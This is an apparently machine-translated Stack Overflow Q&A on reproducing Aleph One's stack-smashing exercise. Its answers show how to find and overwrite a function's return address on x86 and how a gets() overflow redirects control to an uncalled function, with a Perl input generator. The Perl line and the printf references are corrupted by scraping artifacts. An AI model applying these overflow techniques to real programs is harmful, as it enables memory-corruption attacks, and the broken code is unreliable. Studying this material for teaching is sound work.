2013-05-27 13 views
5

Sto cercando di riprodurre i risultati dello stackoverflow che ho letto nell'articolo di Aleph One "distruggere lo stack per divertimento e profitto" (può essere trovato qui: http://insecure.org/stf/smashstack.html).Tentativo di distruggere lo stack

Provare a sovrascrivere l'indirizzo di ritorno non sembra funzionare per me.

codice C:

  void function(int a, int b, int c) { 
       char buffer1[5]; 
       char buffer2[10]; 
       int *ret; 
       //Trying to overwrite return address 
       ret = buffer1 + 12; 
       (*ret) = 0x4005da; 
      } 

      void main() { 
       int x; 

       x = 0; 
       function(1,2,3); 
       x = 1; 
       printf("%d\n",x); 
      } 

smontato principale:

  (gdb) disassemble main 
      Dump of assembler code for function main: 
       0x00000000004005b0 <+0>:  push %rbp 
       0x00000000004005b1 <+1>:  mov %rsp,%rbp 
       0x00000000004005b4 <+4>:  sub $0x10,%rsp 
       0x00000000004005b8 <+8>:  movl $0x0,-0x4(%rbp) 
       0x00000000004005bf <+15>: mov $0x3,%edx 
       0x00000000004005c4 <+20>: mov $0x2,%esi 
       0x00000000004005c9 <+25>: mov $0x1,%edi 
       0x00000000004005ce <+30>: callq 0x400564 <function> 
       0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp) 
       0x00000000004005da <+42>: mov -0x4(%rbp),%eax 
       0x00000000004005dd <+45>: mov %eax,%esi 
       0x00000000004005df <+47>: mov $0x4006dc,%edi 
       0x00000000004005e4 <+52>: mov $0x0,%eax 
       0x00000000004005e9 <+57>: callq 0x400450 <[email protected]> 
       0x00000000004005ee <+62>: leaveq 
       0x00000000004005ef <+63>: retq 
      End of assembler dump. 

ho codificato duro l'indirizzo di ritorno di saltare la x = 1; linea di codice, ho usato un valore hard codificato dal disassemblatore (indirizzo: 0x4005da). L'intento di questo exploit è di stampare 0, ma invece è la stampa 1.

Ho la sensazione molto forte che "ret = buffer1 + 12;" non è l'indirizzo dell'indirizzo di ritorno. Se questo è il caso, come posso determinare l'indirizzo di ritorno, gcc sta allocando più memoria tra l'indirizzo di ritorno e il buffer.

risposta

4

Ecco una guida che ho scritto per un amico un attimo prima di eseguire un attacco di overflow del buffer utilizzando gets. Si passa a come ottenere l'indirizzo di ritorno e come usarlo per scrivere su quello vecchio:

La nostra conoscenza dello stack ci dice che l'indirizzo di ritorno appare sullo stack dopo il buffer che stai cercando di traboccare. Tuttavia, quanto lontano dopo il buffer viene visualizzato l'indirizzo di ritorno dipende dall'architettura che si sta utilizzando. Per determinare questo, prima di scrivere un programma semplice e ispezionare l'assemblaggio:

codice C:

void function() 
{ 
    char buffer[4]; 
} 

int main() 
{ 
    function(); 
} 

Assembly (abbreviata):

function: 
    pushl %ebp 
    movl %esp, %ebp 
    subl $16, %esp 
    leave 
    ret 
main: 
    leal 4(%esp), %ecx 
    andl $-16, %esp 
    pushl -4(%ecx) 
    pushl %ebp 
    movl %esp, %ebp 
    pushl %ecx 
    call function 
    ... 

Ci sono diversi strumenti che è possibile utilizzare per ispezionare il codice assembly. Innanzitutto, è che compila direttamente sull'output di assembly da gcc utilizzando gcc -S main.c.Questo può essere difficile da leggere poiché ci sono pochi suggerimenti per quale codice corrisponde al codice C originale. Inoltre, c'è un sacco di codice standard che può essere difficile da setacciare. Un altro strumento da considerare è gdbtui. Il vantaggio dell'utilizzo di gdbtui è che è possibile ispezionare la sorgente dell'assembly mentre si esegue il programma e ispezionare manualmente lo stack durante l'esecuzione del programma. Tuttavia, ha una curva di apprendimento ripida.

Il programma di ispezione dell'assemblaggio che mi piace di più è objdump. L'esecuzione di objdump -dS a.out fornisce all'origine dell'assieme il contesto del codice sorgente C originale. Usando objdump, sul mio computer l'offset dell'indirizzo di ritorno dal buffer dei caratteri è di 8 byte.

Questa funzione function prende l'indirizzo di ritorno e ne incrementa 7. L'istruzione che ha originariamente indicato come indirizzo di ritorno è 7 byte di lunghezza, quindi l'aggiunta 7 rende l'indirizzo di ritorno il punto dell'istruzione immediatamente dopo l'assegnazione.

Nell'esempio seguente, sovrascrivo l'indirizzo di ritorno per saltare l'istruzione x = 1.

semplice programma C:

void function() 
{ 
    char buffer[4]; 
    /* return address is 8 bytes beyond the start of the buffer */ 
    int *ret = buffer + 8; 
    /* assignment instruction we want to skip is 7 bytes long */ 
    (*ret) += 7; 
} 

int main() 
{ 
    int x = 0; 
    function(); 
    x = 1; 
    printf("%d\n",x); 
} 

Funzione principale (x = 1 a 80483af è lungo sette byte):

8048392: 8d4c2404  lea 0x4(%esp),%ecx 
8048396: 83e4f0   and $0xfffffff0,%esp 
8048399: ff71fc   pushl -0x4(%ecx) 
804839c: 55    push %ebp 
804839d: 89e5   mov %esp,%ebp 
804839f: 51    push %ecx 
80483a0: 83ec24   sub $0x24,%esp 
80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 
80483aa: e8c5ffffff  call 8048374 <function> 
80483af: c745f801000000 movl $0x1,-0x8(%ebp) 
80483b6: 8b45f8   mov -0x8(%ebp),%eax 
80483b9: 89442404  mov %eax,0x4(%esp) 
80483bd: c70424a0840408 movl $0x80484a0,(%esp) 
80483c4: e80fffffff  call 80482d8 <[email protected]> 
80483c9: 83c424   add $0x24,%esp 
80483cc: 59    pop %ecx 
80483cd: 5d    pop %ebp 

sappiamo dove l'indirizzo di ritorno è e abbiamo dimostrato che cambiarlo può influire sul codice che viene eseguito. Un overflow del buffer può fare la stessa cosa utilizzando gets e inserendo la stringa di caratteri corretta in modo che l'indirizzo di ritorno venga sovrascritto con un nuovo indirizzo.

In un nuovo esempio di seguito abbiamo una funzione function che ha un buffer riempito utilizzando gets. Abbiamo anche una funzione uncalled che non viene mai chiamata. Con l'input corretto, possiamo eseguire non richiesti.

#include <stdio.h> 
#include <stdlib.h> 

void uncalled() 
{ 
    puts("uh oh!"); 
    exit(1); 
} 

void function() 
{ 
    char buffer[4]; 
    gets(buffer); 
} 

int main() 
{ 
    function(); 
    puts("program secure"); 
} 

Per eseguire uncalled, ispezionare l'eseguibile utilizzando objdump o simile per trovare l'indirizzo del punto di ingresso di uncalled. Quindi aggiungere l'indirizzo al buffer di input nel posto giusto in modo che sovrascriva il vecchio indirizzo di ritorno. Se il tuo computer è little-endian (x86, ecc.), Devi scambiare il endianness dell'indirizzo.

Per fare ciò correttamente, ho un semplice script perl qui sotto, che genera l'input che causerà l'overflow del buffer che sovrascriverà l'indirizzo di ritorno. Prende due argomenti, prima prende il nuovo indirizzo di ritorno, e in secondo luogo prende la distanza (in byte) dall'inizio del buffer nella posizione dell'indirizzo di ritorno.

#!/usr/bin/perl 
print "x"[email protected][1];           # fill the buffer 
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input 
print "\n";             # new line to end gets 
2

È necessario esaminare la pila per determinare se buffer1+12 è effettivamente l'indirizzo corretto da modificare. Questo genere di cose non è esattamente molto portabile.

probabilmente sarei anche posto alcune richiamo visivo nel codice in modo da poter vedere dove i buffer sono sullo stack in relazione l'indirizzo di ritorno:

char buffer1[5] = "1111"; 
char buffer2[10] = "2222"; 
1

Si può capire questo fuori stampando la pila. Aggiungi codice come questo:

int* pESP; 
__asm mov pESP, esp 

La direttiva __asm ​​è specifica di Visual Studio. Una volta ottenuto l'indirizzo dello stack, puoi stamparlo e vedere cosa c'è dentro. Si noti che lo stack cambierà quando si eseguono operazioni o si effettuano chiamate, quindi è necessario salvare l'intero blocco di memoria in una volta copiando prima la memoria nell'indirizzo dello stack in un array, quindi si stampa l'array.

Quello che troverete sono tutti i tipi di spazzatura che hanno a che fare con lo stack frame e vari controlli di runtime. Per impostazione predefinita, VS inserisce il codice di guardia nello stack per impedire esattamente cosa si sta tentando di fare. Se stampi l'elenco degli assembly per "function", vedrai questo. È necessario impostare gli interruttori del compilatore per spegnere tutte queste cose.

+0

non posso usare questo metodo , perché sto usando linux e GNU GCC. –

+0

@Mike, in realtà puoi usare _method_ dato che 'gcc' fornisce anche' asm' in linea. Devi solo convertirlo alla sintassi alternativa. – paxdiablo

0

In alternativa ai metodi suggeriti in altre risposte, si può capire questo genere di cose utilizzando gdb. Per rendere l'output un po 'più facile da leggere, rimuovo la variabile buffer2 e cambio buffer1 a 8 byte, quindi le cose sono più allineate. Inoltre compileremo 32 bit in più per facilitare la lettura degli indirizzi e attivare il debugging (gcc -m32 -g).

void function(int a, int b, int c) { 
    char buffer1[8]; 
    char *ret; 

quindi cerchiamo di stampare l'indirizzo di buffer1:

(gdb) print &buffer1 
$1 = (char (*)[8]) 0xbffffa40 

quindi cerchiamo di stampare un po 'passato che e vediamo cosa c'è in pila.

(gdb) x/16x 0xbffffa40 
0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003 
0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b 
0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000 
0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc 

Fate un backtrace per vedere dove l'indirizzo di ritorno deve essere rivolto:

(gdb) bt 
#0 function (a=1, b=2, c=3) at foo.c:18 
#1 0x00001f3b in main() at foo.c:26 

e abbastanza sicuro, non v'è a 0xbffffa5b:

(gdb) x/x 0xbffffa5b 
0xbffffa5b: 0x001f3bbf